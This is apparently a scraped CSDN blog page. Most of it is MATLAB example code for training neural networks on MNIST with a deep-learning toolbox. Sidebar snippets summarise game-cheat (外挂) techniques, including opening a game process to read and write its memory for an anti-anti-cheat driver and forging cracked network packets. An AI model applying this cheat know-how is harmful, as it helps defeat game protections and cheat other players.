sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

给网游写一个挂吧(一) – 反反外挂驱动的驱动

去年做了一些研究,研究做外挂的一些相关技术,打算放出来跟大家分享,分享一下我们做挂的一些思路,挂的原理,希望抛砖引玉。   外挂说白了就是用程序代替人去操纵游戏,模拟人向游戏程序发送键盘、鼠标消息。一般的流程就是: 1、 通过Windows系统的OpenProcess API打开目标进程 – 也就是游戏,以便能读写目标内存的数据,甚至是调用目标进程的函数,比如某些世界级的游戏里的Lua函数,...

weixin_34358092的博客 961

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

网游外挂艺术揭秘

目录: 1、外挂与游戏关系 2、 3、 4、 5、 6、 7、Misc 8、游戏保护 9、自我保护

深度技术安全 1281

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

网游反外挂图形验证机制的设计

网游反外挂图形验证机制的设计(转载请注明来源于金庆的专栏)为了防止外挂的自动操作, 在适当的时候会弹出一个图形验证码, 要求手工输入正确的验证码才允许操作.例如登录时, 交易时, 有一定概率要求验证.图形验证就是随机取几个字符, 生成加扰变形图形, 发往客户端,客户端返回验证码与记录的字符一致时就算通过.可以建产一个图形验证机制, 使图形验证可以插入

金庆的专栏 1896

中国现行网游及其发展之我见

开始正文之前我们先看一组数字,中国先阶段网游同时在线最多的十大网游排行。  排名 游戏名 所属公司 同时在线人数 是否收费收费 1  《梦

李德成的网志 × lidecheng's WeBlog 1689

C#简易外挂制作

游戏脚本分为很多种类型,例如本地客户端的内存修改、远程服务器的封包破解。一般的网游由于服务器的机能限制,并不会将游戏产生的所有数据、计算都提供给服务器来承担。经常的,服务器只会将玩家人物的属性、血量、加点、金钱、装备等重要信息储存在服务器本地,计算结果和数据传递则是通过加密封包来和客户端传输。因此网游如果封包被破解而被用户发送伪造的封包数据将造成非常严重的后果。

烧饼的博客 1534
上一篇: 外挂制作之思路总结和基址与偏移量
下一篇: 记一次eclipse无法部署tomcat服务器
Pajarnas
博客等级 码龄11年 78粉丝 27原创
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值